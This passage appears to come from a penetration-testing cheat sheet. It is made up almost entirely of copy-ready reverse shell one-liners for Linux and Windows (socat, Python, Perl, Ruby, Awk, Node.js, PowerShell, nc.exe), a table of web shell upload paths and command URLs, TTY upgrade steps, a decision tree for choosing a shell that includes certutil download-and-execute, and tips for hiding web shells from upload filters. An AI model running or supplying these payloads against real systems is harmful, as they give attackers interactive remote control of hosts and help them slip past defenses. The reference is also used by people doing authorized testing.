socat TCP:IP:PORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane

# Python3:
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"

# Python3 PTY:
python3 -c "import socket,subprocess,os,pty;s=socket.socket();s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"

# Perl:
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

# Ruby:
ruby -rsocket -e'f=TCPSocket.open("IP",PORT).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

# Awk:
awk 'BEGIN{s="/inet/tcp/0/IP/PORT";for(;;){print "$ "|&s;s|&getline c;while((c|&getline)>0)print|&s;close(c)}}'

# Node.js:
node -e '(function(){var n=require("net"),c=require("child_process"),s=n.createConnection(PORT,"IP");s.pipe(c.spawn("/bin/bash",["-i"],{stdio:[s,s,s]}));})()'

# ── WINDOWS ────────────────────────────────────────────────────────

# PowerShell:
powershell -NoP -NonI -W Hidden -c "$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

# nc.exe:
nc.exe -e cmd.exe IP PORT

# Python Windows:
python -c "import socket,subprocess;s=socket.socket();s.connect(('IP',PORT));subprocess.call(['cmd.exe'],stdin=s,stdout=s,stderr=s)"

12.2 Web Shell Usage Reference

Shell Upload Location Access Method
──────────────────────────────────────────────────────────────────────
PHP /var/www/html/ http://target/shell.php?cmd=id
PHP /uploads/ http://target/uploads/shell.php?cmd=id
ASPX C:\inetpub\wwwroot\ http://target/shell.aspx?cmd=whoami
ASP C:\inetpub\wwwroot\ http://target/shell.asp?cmd=whoami
JSP /var/lib/tomcat/webapps/ http://target:8080/shell.jsp?cmd=id
WAR Tomcat /manager http://target:8080/shell/shell.jsp?cmd=id
CFML ColdFusion apps\ http://target/shell.cfm?cmd=dir
Python CGI /var/www/cgi-bin/ http://target/cgi-bin/shell.py?cmd=id

12.3 TTY Upgrade Quick Reference

# Standard (python3):
python3 -c "import pty;pty.spawn('/bin/bash')"
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color; stty rows 50 cols 230

# Socat (best, one step):
# Attacker: socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0
# Victim:   socat TCP:IP:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

# Script:
script -qc /bin/bash /dev/null
# Ctrl+Z
stty raw -echo; fg
reset; export TERM=xterm-256color

# Other spawners:
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
lua -e 'os.execute("/bin/bash")'
find / -exec /bin/bash \; -quit
vim -c ':!bash'   # inside vim

12.4 Shell Decision Tree

What environment am I in?
│ ├── Linux web app
│ ├── PHP? → PHP one-liner + curl
│ ├── ASPX? → ASPX cmd shell
│ ├── JSP? → JSP cmd shell / WAR deploy
│ └── Python CGI? → Python web shell
│ ├── Linux shell access
│ ├── bash available? → bash -i >& /dev/tcp/IP/PORT
│ ├── nc with -e? → nc -e /bin/bash IP PORT
│ ├── nc without -e? → mkfifo + nc method
│ ├── python3? → python3 socket shell
│ └── socat? → socat PTY shell (BEST!)
│ ├── Windows shell access
│ ├── PowerShell allowed? → PS TCP shell
│ ├── nc.exe available? → nc.exe -e cmd.exe
│ └── certutil download? → download nc → execute
│ └── Restricted / firewall
├── HTTP(S) only? → HTTP polling shell
├── DNS allowed? → dnscat2
└── ICMP allowed? → icmpsh

12.5 Web Shell Evasion Tips

Tip Example
──────────────────────────────────────────────────────────────────────
Split dangerous strings 'sys'.'tem' instead of 'system'
Base64 encode entire shell eval(base64_decode("..."))
Use hex char codes \x73\x79\x73\x74\x65\x6d → system
Add null bytes sys\x00tem (some filters stop at \x00)
Variable variable $$func()
Use weevely Encrypted HTTP agent, not plaintext cmd
Rename common parameters ?x= instead of ?cmd=
Embed in JPEG EXIF exiftool -Comment='' img.jpg
Use .phtml .php5 .phar If .php is blocked by upload filter
Add garbage HTML around

← Web top ↑